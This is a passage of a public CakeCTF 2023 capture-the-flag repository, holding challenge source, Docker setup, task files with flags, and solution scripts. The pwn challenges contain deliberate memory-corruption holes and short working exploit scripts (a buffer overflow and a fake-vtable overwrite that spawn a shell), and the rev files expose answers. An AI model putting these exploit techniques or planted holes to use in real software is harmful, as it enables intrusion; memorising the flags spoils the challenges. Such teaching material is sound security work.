(!fgets(buf, sizeof(buf)-1, stdin)) 48 | exit(1); 49 | 50 | strcpy(path, tempdir); 51 | strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt"); 52 | if (!(fp = fopen(path, "w"))) 53 | return; 54 | fwrite(buf, 1, strlen(buf), fp); 55 | fclose(fp); 56 | } 57 | 58 | int main() { 59 | int choice; 60 | 61 | setup(); 62 | while (1) { 63 | printf("1. Write memo\n" 64 | "2. Read memo\n" 65 | "> "); 66 | if (scanf("%d%*c", &choice) != 1) 67 | break; 68 | switch (choice) { 69 | case 1: memo_w(); break; 70 | case 2: memo_r(); break; 71 | default: return 0; 72 | } 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /pwn/memorial_cabbage/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | cabbage: 4 | build: . 5 | ports: 6 | - "9001:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /pwn/memorial_cabbage/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | 3 | sock = Process("./chall") 4 | 5 | sock.sendlineafter("> ", "1") 6 | sock.sendlineafter("Memo: ", "A"*0xff0 + "/flag.txt\0") 7 | 8 | sock.sendlineafter("> ", "2") 9 | 10 | sock.sh() 11 | -------------------------------------------------------------------------------- /pwn/memorial_cabbage/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "Memorial Cabbage" 3 | description: > 4 |

Memorial Cabbage Unit 3

5 | nc {host} {port} 6 | flag: "CakeCTF{B3_c4r3fuL_s0m3_libc_fuNcT10n5_r3TuRn_5t4ck_p01nT3r}" 7 | author: ptr-yudai 8 | host: memorialcabbage.2023.cakectf.com 9 | port: 9001 10 | tags: 11 | - pwn 12 | -------------------------------------------------------------------------------- /pwn/vtable4b/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04@sha256:b4b521bfcec90b11d2869e00fe1f2380c21cbfcd799ee35df8bd7ac09e6f63ea AS base 2 | WORKDIR /app 3 | COPY challenge/chall run 4 | COPY challenge/flag.txt /flag.txt 5 | RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt 6 | 7 | FROM pwn.red/jail 8 | COPY --from=base / /srv 9 | ENV JAIL_TIME=600 JAIL_CPU=100 JAIL_MEM=10M 10 | -------------------------------------------------------------------------------- /pwn/vtable4b/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ main.cpp -o chall 3 | -------------------------------------------------------------------------------- /pwn/vtable4b/challenge/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/pwn/vtable4b/challenge/chall -------------------------------------------------------------------------------- /pwn/vtable4b/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs} 2 | -------------------------------------------------------------------------------- /pwn/vtable4b/challenge/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void *valid_vtable, *valid_message; 8 | 9 | const char *PRIV[] = { 10 | "---", "--x", "-w-", "-wx", "r--", "r-x", "rw-", "rwx" 11 | }; 12 | int get_privilege(void *addr) { 13 | int priv = 0; 14 | unsigned long start, end, target; 15 | char buf[0x100], *ptr; 16 | int fd = open("/proc/self/maps", O_RDONLY); 17 | target = (unsigned long)addr; 18 | for(ptr = buf, start = end = 0; ; ptr++) { 19 | if (read(fd, ptr, 1) <= 0) { 20 | break; 21 | } 22 | if (*ptr == '-' && start == 0) { 23 | start = strtol(buf, NULL, 16); 24 | ptr = buf - 1; 25 | } else if (*ptr == ' ' && end == 0) { 26 | end = strtol(buf, NULL, 16); 27 | ptr = buf - 1; 28 | } else if (*ptr == '\n') { 29 | if (start <= target && target < end) { 30 | priv |= (buf[0] == 'r') << 2; 31 | priv |= (buf[1] == 'w') << 1; 32 | priv |= (buf[2] == 'x') << 0; 33 | break; 34 | } 35 | start = end = 0; 36 | ptr = buf - 1; 37 | } 38 | } 39 | 40 | close(fd); 41 | return priv; 42 | } 43 | 44 | static void win() { 45 | char *args[] = {"/bin/sh", NULL}; 46 | std::cout << "[+] Congratulations! Executing shell..." << std::endl 47 | << "$ "; 48 | execve(args[0], args, NULL); 49 | std::cout << "[-] Failed to execute shell :thinking_face:" << std::endl; 50 | } 51 | 52 | class Cowsay { 53 | public: 54 | Cowsay(char *message) : message_(message) {} 55 | char*& message() { return message_; } 56 | virtual void dialogue(); 57 | 58 | private: 59 | char *message_; 60 | }; 61 | 62 | void Cowsay::dialogue() {; 63 | std::cout << " _______________________ " << std::endl 64 | << "< " << std::left << std::setfill(' ') << std::setw(21) 65 | << message_ << " >" << std::endl 66 | << " -----------------------" << std::endl 67 | << " \\ ^__^" << std::endl 68 | << " \\ (oo)\\_______" << std::endl 69 | << " (__)\\ )\\/\\" << std::endl 70 | << " ||----w |" << std::endl 71 | << " || ||\n" << std::endl; 72 | } 73 | 74 | void display_heap(Cowsay *cowsay) { 75 | int draw_vtable = 0; 76 | void *vtable; 77 | size_t p = (size_t)valid_message - 0x10; 78 | std::cout << std::endl << std::right 79 | << " [ address ] [ heap data ]" << std::endl 80 | << " +------------------+" << std::endl; 81 | 82 | for (int i = 0; i < 10; i++, p += 8) { 83 | std::cout << "0x" << std::setfill('0') << std::setw(12) << std::hex << p 84 | << " | " << std::setw(16) << std::hex << *(size_t*)p << " |"; 85 | 86 | if (draw_vtable == 1) { 87 | std::cout << " 0x" << std::setw(12) << (size_t)vtable 88 | << " | " << std::setw(16) 89 | << *((size_t*)vtable + draw_vtable - 1) << " |"; 90 | draw_vtable++; 91 | } else if (draw_vtable == 2) { 92 | size_t fn = *(size_t*)vtable; 93 | if (fn == *(size_t*)valid_vtable) { 94 | std::cout << " --> Cowsay::dialogue"; 95 | } else if (fn == (size_t)&win) { 96 | std::cout << " --> function"; 97 | } else if (get_privilege((void*)fn) & 1) { 98 | std::cout << " --> Maybe function pointer"; 99 | } else { 100 | std::cout << " --> Invalid function pointer"; 101 | } 102 | draw_vtable = 0; 103 | } 104 | 105 | if (p == (size_t)cowsay) { 106 | vtable = (void*)(*(size_t*)cowsay); 107 | if (vtable == valid_vtable) { 108 | std::cout << " ---------------> vtable for Cowsay"; 109 | draw_vtable = 1; 110 | } else if (get_privilege(vtable) & 4) { 111 | std::cout << " ---------------> vtable for Cowsay (corrupted)"; 112 | draw_vtable = 1; 113 | } else { 114 | std::cout << " --> Broken vtable pointer"; 115 | } 116 | } else if (p == (size_t)cowsay->message()) { 117 | if (get_privilege(cowsay->message()) & 4) { 118 | std::cout << " <-- message (= '" << cowsay->message() << "')"; 119 | } else { 120 | std::cout << " <-- message (= invalid pointer)"; 121 | } 122 | } 123 | 124 | std::cout << std::endl; 125 | if (draw_vtable) { 126 | std::cout << " +------------------+" 127 | << " +------------------+" << std::endl; 128 | } else { 129 | std::cout << " +------------------+" << std::endl; 130 | } 131 | } 132 | 133 | std::cout << std::endl; 134 | } 135 | 136 | void sigsegv_handler(int signal) { 137 | std::cout << "[-] Segmentation fault" << std::endl; 138 | exit(1); 139 | } 140 | 141 | int menu() { 142 | int choice; 143 | std::cout << "1. Use cowsay" << std::endl 144 | << "2. Change message" << std::endl 145 | << "3. Display heap" << std::endl 146 | << "> "; 147 | std::cin >> choice; 148 | return choice; 149 | } 150 | 151 | int main() { 152 | std::setvbuf(stdin, NULL, _IONBF, 0); 153 | std::setvbuf(stdout, NULL, _IONBF, 0); 154 | std::signal(SIGSEGV, sigsegv_handler); 155 | 156 | std::cout << "Today, let's learn how to exploit C++ vtable!" << std::endl 157 | << "You're going to abuse the following C++ class:" << std::endl 158 | << std::endl 159 | << " class Cowsay {" << std::endl 160 | << " public:" << std::endl 161 | << " Cowsay(char *message) : message_(message) {}" << std::endl 162 | << " char*& message() { return message_; }" << std::endl 163 | << " virtual void dialogue();" << std::endl << std::endl 164 | << " private:" << std::endl 165 | << " char *message_;" << std::endl 166 | << " };" << std::endl 167 | << std::endl 168 | << "An instance of this class is allocated in the heap:" 169 | << std::endl << std::endl 170 | << " Cowsay *cowsay = new Cowsay(new char[0x18]());" 171 | << std::endl << std::endl 172 | << "You can" << std::endl 173 | << " 1. Call `dialogue` method:" << std::endl 174 | << " cowsay->dialogue();" << std::endl 175 | << std::endl 176 | << " 2. Set `message`:" << std::endl 177 | << " std::cin >> cowsay->message();" << std::endl 178 | << std::endl 179 | << "Last but not least, here is the address of " 180 | "`win` function which you should call to get the flag:" << std::endl 181 | << " = 0x" << std::hex << (size_t)&win 182 | << std::endl << std::endl; 183 | 184 | Cowsay *cowsay = new Cowsay(new char[0x18]()); 185 | valid_vtable = (void*)(*(size_t*)cowsay); 186 | valid_message = (void*)cowsay->message(); 187 | 188 | while (std::cin.good()) { 189 | switch(menu()) { 190 | case 1: { 191 | std::cout << "[+] You're trying to use vtable at 0x" 192 | << std::hex << *(size_t*)cowsay 193 | << std::endl; 194 | cowsay->dialogue(); 195 | break; 196 | } 197 | 198 | case 2: { 199 | std::cout << "Message: "; 200 | std::cin >> cowsay->message(); 201 | break; 202 | } 203 | 204 | case 3: { 205 | display_heap(cowsay); 206 | break; 207 | } 208 | 209 | default: { 210 | std::cout << "Bye!" << std::endl; 211 | return 0; 212 | } 213 | } 214 | } 215 | return 0; 216 | } 217 | -------------------------------------------------------------------------------- /pwn/vtable4b/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | vtable4b: 4 | build: . 5 | ports: 6 | - "9000:5000" 7 | privileged: true 8 | restart: unless-stopped 9 | -------------------------------------------------------------------------------- /pwn/vtable4b/solution/solve.py: -------------------------------------------------------------------------------- 1 | from ptrlib import * 2 | import os 3 | 4 | HOST = os.getenv("HOST", "localhost") 5 | PORT = int(os.getenv("PORT", 9001)) 6 | 7 | #sock = Process("../challenge/chall") 8 | sock = Socket(HOST, PORT) 9 | 10 | addr_win = int(sock.recvregex(" = 0x([0-9a-f]+)")[0], 16) 11 | logger.info("win @ " + hex(addr_win)) 12 | 13 | sock.sendlineafter("> ", "3") 14 | addr_message = int(sock.recvregex("0x([0-9a-f]+)")[0], 16) + 0x10 15 | logger.info("cowsay->message @ " + hex(addr_message)) 16 | 17 | payload = p64(addr_win) 18 | payload += b"A"*0x18 19 | payload += p64(addr_message) 20 | 21 | sock.sendlineafter("heap\n> ", "2") 22 | sock.sendlineafter("Message: ", payload) 23 | 24 | sock.sendlineafter("> ", "1") 25 | 26 | sock.sh() 27 | -------------------------------------------------------------------------------- /pwn/vtable4b/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "vtable4b" 3 | description: > 4 |

Do you understand what vtable is?

5 | nc {host} {port}
6 | * The flag exists somewhere in / directory. 7 | flag: "CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}" 8 | author: ptr-yudai 9 | host: vtable4b.2023.cakectf.com 10 | port: 9000 11 | tags: 12 | - warmup 13 | - pwn 14 | -------------------------------------------------------------------------------- /rev/cakepuzzle/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:11-slim 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get update && apt-get install -yqq xinetd libevent-dev 6 | RUN groupadd -r chal && useradd -r -g chal chal 7 | 8 | RUN echo '#!/bin/bash\n\ 9 | service xinetd restart && /bin/sleep infinity' > /etc/init.sh 10 | RUN echo 'service pwn\n\ 11 | {\n\ 12 | type = UNLISTED\n\ 13 | disable = no\n\ 14 | socket_type = stream\n\ 15 | protocol = tcp\n\ 16 | wait = no\n\ 17 | user = chal\n\ 18 | bind = 0.0.0.0\n\ 19 | port = 9999\n\ 20 | server = /home/chal/chal\n\ 21 | }' > /etc/xinetd.d/pwn 22 | RUN chmod 500 /etc/init.sh 23 | RUN chmod 444 /etc/xinetd.d/pwn 24 | RUN chmod 1733 /tmp /var/tmp /dev/shm 25 | 26 | ADD challenge/flag.txt /flag.txt 27 | RUN chmod 444 /flag.txt 28 | 29 | WORKDIR /home/chal 30 | ADD challenge/chal . 31 | RUN chmod 550 chal 32 | 33 | RUN chown -R root:chal /home/chal 34 | RUN service xinetd restart 35 | -------------------------------------------------------------------------------- /rev/cakepuzzle/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build 2 | build: 3 | rm -rf distfiles 4 | bash ./build.bash 5 | mkdir -p distfiles 6 | cp ./challenge/chal ./distfiles/ 7 | 8 | .PHONY: clean 9 | clean: 10 | rm -rf distfiles 11 | 12 | 13 | -------------------------------------------------------------------------------- /rev/cakepuzzle/build.bash: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -eux 3 | 4 | docker run --rm -u $(id -u):$(id -g) -v ./challenge/:/mnt/challenge/ python:3-bullseye bash -c "cd /mnt/challenge/; python3 gen.py" 5 | -------------------------------------------------------------------------------- /rev/cakepuzzle/challenge/chal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/cakepuzzle/challenge/chal -------------------------------------------------------------------------------- /rev/cakepuzzle/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{wh0_at3_a_missing_pi3c3_0f_a_cak3} 2 | -------------------------------------------------------------------------------- /rev/cakepuzzle/challenge/gen.py: -------------------------------------------------------------------------------- 1 | import random 2 | import os 3 | 4 | puzzle = list(range(16)) 5 | 6 | puzzle = [ 7 | [ puzzle[0], puzzle[1], puzzle[2], puzzle[3]], 8 | [ puzzle[4], puzzle[5], puzzle[6], puzzle[7]], 9 | [ puzzle[8], puzzle[9], puzzle[10], puzzle[11]], 10 | [ puzzle[12], puzzle[13], puzzle[14], puzzle[15]], 11 | ] 12 | 13 | colors = [ 40, 41, 42, 43, 44, 45, 46, 47, 100, 101, 102, 103, 104, 105, 106, 107] 14 | 15 | def show(): 16 | for i in range(4): 17 | for j in range(4): 18 | print("\x1b[0;{}m{:2d}\x1b[0m".format(colors[puzzle[i][j]], puzzle[i][j]), end="") 19 | print("") 20 | print("") 21 | 22 | 23 | 24 | 25 | def do(q): 26 | x, y = None, None 27 | for i in range(4): 28 | for j in range(4): 29 | if puzzle[i][j] == 0: 30 | x, y = j, i 31 | 32 | if q == "U": 33 | if y == 0: 34 | return False 35 | puzzle[y][x], puzzle[y-1][x] = puzzle[y-1][x], puzzle[y][x] 36 | 37 | elif q == "D": 38 | if y == 3: 39 | return False 40 | puzzle[y][x], puzzle[y+1][x] = puzzle[y+1][x], puzzle[y][x] 41 | 42 | elif q == "L": 43 | if x == 0: 44 | return False 45 | puzzle[y][x], puzzle[y][x-1] = puzzle[y][x-1], puzzle[y][x] 46 | 47 | elif q == "R": 48 | if x == 3: 49 | return False 50 | 51 | puzzle[y][x], puzzle[y][x+1] = puzzle[y][x+1], puzzle[y][x] 52 | else: 53 | assert False 54 | 55 | return True 56 | 57 | queries = [] 58 | 59 | while len(queries) != 100000: 60 | q = random.choice("UDLR") 61 | ok = do(q) 62 | if ok: 63 | queries.append(q) 64 | 65 | rev = {"U": "D", "D": "U", "L": "R", "R": "L"} 66 | ans = [] 67 | for q in queries[::-1]: 68 | # do(rev[q]) 69 | ans.append(rev[q]) 70 | 71 | 72 | seq = [0] + list(sorted(random.randrange(1, 2**31) for _ in range(15))) 73 | # seq = list(range(16)) 74 | 75 | s = "{" 76 | for i in range(4): 77 | s += "{" 78 | for j in range(4): 79 | s += str(seq[puzzle[i][j]]) 80 | s += "," 81 | 82 | s += "}," 83 | s += "}" 84 | 85 | with open("main.c.template", "r") as f: 86 | template = f.read() 87 | 88 | with open("main.c", "w") as f: 89 | f.write(template.replace("__TEMPLATE__", s)) 90 | 91 | os.system("gcc main.c -o chal") 92 | 93 | with open("ans.txt", "w") as f: 94 | f.write("\n".join(ans) +"\n") 95 | -------------------------------------------------------------------------------- /rev/cakepuzzle/challenge/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | 6 | int M[4][4] = {{1146640091,1277362948,2245791,1729795767,},{1817593079,2146722439,1860814889,1557802610,},{0,1770948809,870734415,1355570260,},{323584794,1405652852,629508793,1928951512,},}; 7 | 8 | int q() { 9 | for (int i = 0; i < 3; i++) { 10 | for (int j = 0; j < 3; j++) { 11 | if (M[i][j] >= M[i][j+1]) { 12 | return 1; 13 | } 14 | if (M[i][j] >= M[i+1][j]) { 15 | return 1; 16 | } 17 | } 18 | } 19 | return 0; 20 | } 21 | 22 | void s(int *y, int *x) { 23 | for (int i = 0; i < 4; i++) { 24 | for (int j = 0; j < 4; j++) { 25 | if (M[i][j] == 0) { 26 | *y = i; 27 | *x = j; 28 | } 29 | } 30 | } 31 | } 32 | 33 | void f(int *a, int *b) { 34 | *a ^= *b; 35 | *b ^= *a; 36 | *a ^= *b; 37 | } 38 | 39 | void e(char op) { 40 | int y, x; 41 | s(&y, &x); 42 | switch (op) { 43 | case 'U': 44 | if (y != 0) { 45 | f(&M[y][x], &M[y-1][x]); 46 | } 47 | break; 48 | case 'D': 49 | if (y != 3) { 50 | f(&M[y][x], &M[y+1][x]); 51 | } 52 | break; 53 | case 'L': 54 | if (x != 0) { 55 | f(&M[y][x], &M[y][x-1]); 56 | } 57 | break; 58 | case 'R': 59 | if (x != 3) { 60 | f(&M[y][x], &M[y][x+1]); 61 | } 62 | break; 63 | } 64 | } 65 | 66 | void win() { 67 | char buf[4096]; 68 | FILE *fp = fopen("/flag.txt", "r"); 69 | if (fp == NULL) { 70 | perror("fopen"); 71 | exit(1); 72 | } 73 | fread(buf, 4096, 1, fp); 74 | 75 | printf("%s\n", buf); 76 | exit(0); 77 | } 78 | 79 | int main() { 80 | alarm(1000); 81 | for(;;) { 82 | if (q() == 0) { 83 | win(); 84 | } 85 | 86 | char buf[100]; 87 | printf("> "); 88 | fflush(stdout); 89 | if (scanf("%s", buf) == -1) { 90 | exit(0); 91 | } 92 | e(buf[0]); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /rev/cakepuzzle/challenge/main.c.template: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | 6 | int M[4][4] = __TEMPLATE__; 7 | 8 | int q() { 9 | for (int i = 0; i < 3; i++) { 10 | for (int j = 0; j < 3; j++) { 11 | if (M[i][j] >= M[i][j+1]) { 12 | return 1; 13 | } 14 | if (M[i][j] >= M[i+1][j]) { 15 | return 1; 16 | } 17 | } 18 | } 19 | return 0; 20 | } 21 | 22 | void s(int *y, int *x) { 23 | for (int i = 0; i < 4; i++) { 24 | for (int j = 0; j < 4; j++) { 25 | if (M[i][j] == 0) { 26 | *y = i; 27 | *x = j; 28 | } 29 | } 30 | } 31 | } 32 | 33 | void f(int *a, int *b) { 34 | *a ^= *b; 35 | *b ^= *a; 36 | *a ^= *b; 37 | } 38 | 39 | void e(char op) { 40 | int y, x; 41 | s(&y, &x); 42 | switch (op) { 43 | case 'U': 44 | if (y != 0) { 45 | f(&M[y][x], &M[y-1][x]); 46 | } 47 | break; 48 | case 'D': 49 | if (y != 3) { 50 | f(&M[y][x], &M[y+1][x]); 51 | } 52 | break; 53 | case 'L': 54 | if (x != 0) { 55 | f(&M[y][x], &M[y][x-1]); 56 | } 57 | break; 58 | case 'R': 59 | if (x != 3) { 60 | f(&M[y][x], &M[y][x+1]); 61 | } 62 | break; 63 | } 64 | } 65 | 66 | void win() { 67 | char buf[4096]; 68 | FILE *fp = fopen("/flag.txt", "r"); 69 | if (fp == NULL) { 70 | perror("fopen"); 71 | exit(1); 72 | } 73 | fread(buf, 4096, 1, fp); 74 | 75 | printf("%s\n", buf); 76 | exit(0); 77 | } 78 | 79 | int main() { 80 | alarm(1000); 81 | for(;;) { 82 | if (q() == 0) { 83 | win(); 84 | } 85 | 86 | char buf[100]; 87 | printf("> "); 88 | fflush(stdout); 89 | if (scanf("%s", buf) == -1) { 90 | exit(0); 91 | } 92 | e(buf[0]); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /rev/cakepuzzle/distfiles/chal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/cakepuzzle/distfiles/chal -------------------------------------------------------------------------------- /rev/cakepuzzle/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | cakepuzzle: 4 | build: ./ 5 | ports: 6 | - 14001:9999 7 | ulimits: 8 | nproc: 65535 9 | core: 0 10 | entrypoint: /etc/init.sh 11 | restart: unless-stopped 12 | -------------------------------------------------------------------------------- /rev/cakepuzzle/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Cake Puzzle 3 | description: > 4 | Someone cut a cake and scrambled. 5 | nc {host} {port} 6 | flag: "CakeCTF{wh0_at3_a_missing_pi3c3_0f_a_cak3}" 7 | author: theoremoon 8 | host: others.2023.cakectf.com 9 | port: 14001 10 | tags: 11 | - rev 12 | is_survey: false 13 | -------------------------------------------------------------------------------- /rev/gaming_vm/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | ../bin/linux/lcc -DQ3_VM -S -Wf-target=bytecode -Wf-g ./cake.c 3 | ../q3asm/q3asm g_syscalls.asm cake.asm 4 | -------------------------------------------------------------------------------- /rev/gaming_vm/challenge/cake.c: -------------------------------------------------------------------------------- 1 | int rand(); 2 | int strlen(const char*); 3 | void gets(char*, int); 4 | 5 | int vmMain() { 6 | int i, j, n; 7 | char c, flag[100]; 8 | 9 | trap_Printf("FLAG: "); 10 | gets(flag, sizeof(flag)); 11 | 12 | n = strlen(flag); 13 | if (n != 42) 14 | goto wrong; 15 | 16 | for (i = 0; i < n; i++) 17 | flag[i] ^= 7; 18 | 19 | for (i = n - 1; i > 0; i--) { 20 | j = rand() % i; 21 | c = flag[j]; 22 | flag[j] = flag[i]; 23 | flag[i] = c; 24 | } 25 | 26 | if (strcmp(flag, "DDt4zNXXuAjk476XpsNs6bluNwfJVlQbXaSi|XfrXF") != 0) 27 | goto wrong; 28 | 29 | trap_Printf("Correct!\n"); 30 | return 0; 31 | wrong: 32 | trap_Printf("Wrong...\n"); 33 | return 1; 34 | } 35 | 36 | int seed = 1; 37 | 38 | int rand() { 39 | seed = seed * 0x41c64e6d + 0x6073; 40 | return seed & 0x7fffffff; 41 | } 42 | 43 | int strlen(s) const char *s; { 44 | int n = 0; 45 | while (*s++) n++; 46 | return n; 47 | } 48 | 49 | int strcmp(s1, s2) const char *s1; const char *s2; { 50 | while (*s1 == *s2) { 51 | if (*s1 == '\0') return 0; 52 | s1++; s2++; 53 | } 54 | return 1; 55 | } 56 | 57 | void gets(buf, size) char* buf; int size; { 58 | int i; 59 | 60 | memset(buf, 0, size); 61 | if (size == 0) 62 | return; 63 | 64 | for (i = 0; i < size-1; i++) { 65 | if (trap_Read(buf + i, 1) != 1) 66 | break; 67 | if (buf[i] == '\n') { 68 | buf[i] = '\0'; 69 | break; 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /rev/gaming_vm/challenge/g_syscalls.asm: -------------------------------------------------------------------------------- 1 | code 2 | 3 | equ trap_Printf -1 4 | equ trap_Error -2 5 | equ memset -3 6 | equ memcpy -4 7 | equ trap_Read -5 8 | equ trap_Write -6 9 | -------------------------------------------------------------------------------- /rev/gaming_vm/challenge/gen.py: -------------------------------------------------------------------------------- 1 | flag = "CakeCTF{A_s1mpl3_VM_wr1tt3n_f0r_Quake_III}" 2 | flag = list(flag) 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /rev/gaming_vm/distfiles/flag.qvm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/gaming_vm/distfiles/flag.qvm -------------------------------------------------------------------------------- /rev/gaming_vm/distfiles/q3vm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/gaming_vm/distfiles/q3vm -------------------------------------------------------------------------------- /rev/gaming_vm/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Gaming VM 3 | description: > 4 | VM reversing for beginners :) 5 | flag: "CakeCTF{A_s1mpl3_VM_wr1tt3n_f0r_Quake_III}" 6 | author: ptr-yudai 7 | tags: 8 | - rev 9 | is_survey: false 10 | -------------------------------------------------------------------------------- /rev/imgchk/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -o imgchk -lpng -lcrypt 3 | -------------------------------------------------------------------------------- /rev/imgchk/challenge/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/imgchk/challenge/flag.png -------------------------------------------------------------------------------- /rev/imgchk/challenge/gen.py: -------------------------------------------------------------------------------- 1 | from PIL import Image, ImageDraw, ImageFont 2 | 3 | width, height = 480, 20 4 | text = "CakeCTF{fd408e00d5824d7220c4d624f894144e}" 5 | 6 | img = Image.new('1', (width, height), 'white') 7 | draw = ImageDraw.Draw(img) 8 | font = ImageFont.truetype( 9 | "/usr/share/fonts/truetype/robotomono/RobotoMono-Regular.ttf", size=19 10 | ) 11 | 12 | tw, th = draw.textsize(text, font=font) 13 | x = (width - tw) // 2 14 | y = (height - th) // 2 15 | draw.text((x, y), text, font=font, fill="black") 16 | 17 | img.save("flag.png") 18 | -------------------------------------------------------------------------------- /rev/imgchk/challenge/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "flag.h" 7 | 8 | #define CONFUSE \ 9 | asm(".intel_syntax noprefix\n" \ 10 | "lea rax, [rip+Cake%=]\n" \ 11 | "push rax\n" \ 12 | "ret\n" \ 13 | "Cake%=:\n" \ 14 | ".att_syntax" \ 15 | : : : "rax"); 16 | 17 | int check_flag(const char *path) { 18 | FILE *fp; 19 | png_structp png; 20 | png_infop info; 21 | png_bytep *img; 22 | int width, height; 23 | unsigned char md5sum[MD5_DIGEST_LENGTH]; 24 | 25 | CONFUSE; 26 | fp = fopen(path, "rb"); 27 | if (!fp) goto err; 28 | 29 | CONFUSE; 30 | png = png_create_read_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL); 31 | if (!png) goto err; 32 | 33 | CONFUSE; 34 | info = png_create_info_struct(png); 35 | if (!info) goto err; 36 | 37 | CONFUSE; 38 | if (setjmp(png_jmpbuf(png))) goto err; 39 | 40 | CONFUSE; 41 | png_init_io(png, fp); 42 | png_read_info(png, info); 43 | 44 | CONFUSE; 45 | width = png_get_image_width(png, info); 46 | 47 | CONFUSE; 48 | height = png_get_image_height(png, info); 49 | 50 | CONFUSE; 51 | if (width != 480 || height != 20) goto err; 52 | 53 | CONFUSE; 54 | png_byte color_type = png_get_color_type(png, info); 55 | 56 | CONFUSE; 57 | png_byte bit_depth = png_get_bit_depth(png, info); 58 | 59 | CONFUSE; 60 | if (color_type != PNG_COLOR_TYPE_GRAY) goto err; 61 | 62 | CONFUSE; 63 | if (bit_depth != 1) goto err; 64 | 65 | CONFUSE; 66 | img = (png_bytep*)calloc(height, sizeof(png_bytep)); 67 | 68 | CONFUSE; 69 | if (!img) goto err; 70 | 71 | CONFUSE; 72 | for (int y = 0; y < height; y++) { 73 | CONFUSE; 74 | img[y] = (png_bytep)malloc(png_get_rowbytes(png, info)); 75 | CONFUSE; 76 | if (!img[y]) goto err; 77 | } 78 | 79 | CONFUSE; 80 | png_read_image(png, img); 81 | char buf[3]; 82 | int ng = 0; 83 | 84 | CONFUSE; 85 | for (int x = 0; x < width; x++) { 86 | CONFUSE; 87 | memset(buf, 0, sizeof(buf)); 88 | 89 | CONFUSE; 90 | for (int y = 0; y < height; y++) { 91 | CONFUSE; 92 | unsigned char byte = img[y][x / 8]; 93 | CONFUSE; 94 | int bit = (byte >> (7 - (x % 8))) & 1; 95 | CONFUSE; 96 | buf[y / 8] |= bit << (y % 8); 97 | } 98 | 99 | CONFUSE; 100 | MD5(buf, sizeof(buf), md5sum); 101 | 102 | CONFUSE; 103 | if (memcmp(md5sum, answer[x], MD5_DIGEST_LENGTH) != 0) { 104 | CONFUSE; 105 | ng |= 1; 106 | } else { 107 | CONFUSE; 108 | } 109 | } 110 | 111 | CONFUSE; 112 | if (ng == 0) { 113 | CONFUSE; 114 | return 0; 115 | } else { 116 | CONFUSE; 117 | } 118 | 119 | err: 120 | CONFUSE; 121 | return -1; 122 | } 123 | 124 | int main(int argc, char **argv) { 125 | if (argc != 2) { 126 | printf("Usage: %s \n", argv[0]); 127 | return 1; 128 | } 129 | 130 | if (check_flag(argv[1])) { 131 | puts("Wrong..."); 132 | } else { 133 | puts("Correct!"); 134 | } 135 | return 0; 136 | } 137 | -------------------------------------------------------------------------------- /rev/imgchk/distfiles/README.txt: -------------------------------------------------------------------------------- 1 | If the program does not work due to your library version, run it with 2 | ``` 3 | ./ld-linux-x64-64.so.2 --library-path ./lib ./imgchk 4 | ``` 5 | or use Ubuntu 22.04 (e.g., docker) 6 | 7 | The libraries are not modified and not important at all. 8 | -------------------------------------------------------------------------------- /rev/imgchk/distfiles/imgchk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/imgchk/distfiles/imgchk -------------------------------------------------------------------------------- /rev/imgchk/distfiles/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/rev/imgchk/distfiles/ld-linux-x86-64.so.2 